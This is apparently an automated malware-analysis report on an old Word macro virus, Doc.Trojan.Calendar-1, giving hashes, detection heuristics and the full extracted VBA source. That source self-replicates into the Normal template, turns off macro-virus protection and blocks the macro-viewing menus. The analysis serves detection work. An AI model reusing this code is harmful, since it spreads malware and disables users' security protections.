Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08196eb88b9ff04f…

MALICIOUS

Office (OLE)

54.0 KB Created: 1997-05-10 01:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1843ab0408fc3784651dd77ffed01240 SHA-1: 2cc7ad725e7d196f4c8c57be1d9dd231f777089f SHA-256: 08196eb88b9ff04f960f09eb948d9165b772ea699099fa914a755369af03cd36
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose routines, which are indicative of malicious intent. The script attempts to copy the 'Calendar' VBA project to both the Normal template and the active document, suggesting an attempt to establish persistence or ensure the macro is available for execution. The ClamAV detection 'Doc.Trojan.Calendar-1' further supports the malicious classification.

Heuristics 6

  • ClamAV: Doc.Trojan.Calendar-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Calendar-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9030 bytes
SHA-256: 9c337375c0c82ff78c5a57b7efffbfaa2ffabdd1906cca000c81c705cb833035
Detection
ClamAV: Doc.Trojan.Calendar-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Calendar"
Sub AutoOpen()
On Error GoTo Calendar

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = 0
    GlobalInstalled = 0

   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Calendar" Then
            GlobalInstalled = 1
        End If
   Next
    
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Calendar" Then
            DocumentInstalled = 1
        End If
   Next
  
    If GlobalInstalled = 0 Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    If DocumentInstalled = 0 Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    Calendar
    
    Application.DisplayAlerts = wdAlertsAll

Calendar:
End Sub

Sub AutoClose()
On Error GoTo Calendar

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set GlobalDoc = NormalTemplate
    Set ActiveDoc = ActiveDocument

    GlobalInstalled = 0
    DocumentInstalled = 0

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Calendar" Then
            DocumentInstalled = 1
        End If
    Next
    
    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Calendar" Then
            GlobalInstalled = 1
        End If
    Next

    If GlobalInstalled = 0 Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    If DocumentInstalled = 0 Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    Calendar

    Application.DisplayAlerts = wdAlertsAll

Calendar:
End Sub

Sub ToolsMacro()
  Calendar
    MsgBox "You do not have permission to do this", vbExclamation, "Microsoft Word"
End Sub

Sub FileSaveAs()

    Dialogs(wdDialogFileSaveAs).Show

On Error GoTo Calendar

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set GlobalDoc = NormalTemplate
    Set ActiveDoc = ActiveDocument

    DocumentInstalled = 0
    GlobalInstalled = 0

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Calendar" Then
            GlobalInstalled = 1
        End If
    Next
    
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Calendar" Then
            DocumentInstalled = 1
        End If
    Next

    If DocumentInstalled = 0 Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If
    
    If GlobalInstalled = 0 Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    Calendar

    Application.DisplayAlerts = wdAlertsAll

Calendar:
End Sub

Sub FileTemplates()
  Calendar
  MsgBox "You do not have permission to do this", vbExclamation, "Microsoft Word"
End Sub


Sub Calendar()
On Error GoTo Calendar1

    If Month(Now()) = 1 And Day(Now()) = 1 Then
      MsgBox "New Year's Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 1 And Day(Now()) = 20 Then
      MsgBox "Martin Luther King Jr. Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 2 And Day(Now()) = 12 Then
      MsgBox "President Lincoln's Birthday and Ash Wednesday", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 2 And Day(Now()) = 14 Then
      MsgBox "Valentine's Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 2 And Day(Now()) = 17 Then
      MsgBox "Presidents Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 2 And Day(Now()) = 22 Then
      MsgBox "President Washington's Birthday", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 3 And Day(Now()) = 17 Then
      MsgBox "St. Patrick's Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 3 And Day(Now()) = 23 Then
      MsgBox "Palm Sunday", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 3 And Day(Now()) = 28 Then
      MsgBox "Good Friday", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 3 And Day(Now()) = 30 Then
      MsgBox "Easter", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 4 And Day(Now()) = 22 Then
      MsgBox "Passover", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 5 And Day(Now()) = 9 Then
      MsgBox "Calendar, coded by DarkChasm [SLAM]", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 5 And Day(Now()) = 11 Then
      MsgBox "Mother's Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 5 And Day(Now()) = 17 Then
      MsgBox "Armed Forces Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 5 And Day(Now()) = 19 Then
      MsgBox "Victoria Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 5 And Day(Now()) = 26 Then
      MsgBox "Memorial Day Observed", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 5 And Day(Now()) = 30 Then
      MsgBox "Traditional Memorial Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 6 And Day(Now()) = 15 Then
      MsgBox "Father's Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 7 And Day(Now()) = 1 Then
      MsgBox "Canada Day", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 7 And Day(Now()) = 4 Then
      MsgBox "Independence Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 10 And Day(Now()) = 2 Then
      MsgBox "Rosh Hashonah", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 10 And Day(Now()) = 11 Then
      MsgBox "Yom Kippur", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 10 And Day(Now()) = 12 Then
      MsgBox "Columbus Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 10 And Day(Now()) = 13 Then
      MsgBox "Columbus Day Observed", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 10 And Day(Now()) = 16 Then
      MsgBox "Happy Birthday DarkChasm", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 10 And Day(Now()) = 24 Then
      MsgBox "United Nations Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 10 And Day(Now()) = 31 Then
      MsgBox "Halloween", vbOKOnly, "Calendar"
    End If
    
    If Month(Now()) = 11 And Day(Now()) = 4 Then
      MsgBox "Election Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 11 And Day(Now()) = 11 Then
      MsgBox "Veteran's Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 11 And Day(Now()) = 27 Then
      MsgBox "ThanksGiving Day", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 12 And Day(Now()) = 21 Then
      MsgBox "Happy Birthday Christy", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 12 And Day(Now()) = 24 Then
      MsgBox "Christmas Eve and Hanukkah", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 12 And Day(Now()) = 25 Then
      MsgBox "Christmas", vbOKOnly, "Calendar"
    End If

    If Month(Now()) = 12 And Day(Now()) = 31 Then
      MsgBox "New Year's Eve", vbOKOnly, "Calendar"
    End If

Calendar1:
End Sub

Sub ViewVBCode()
  Calendar
  MsgBox "You do not have permission to do this", vbExclamation, "Microsoft Word"
End Sub

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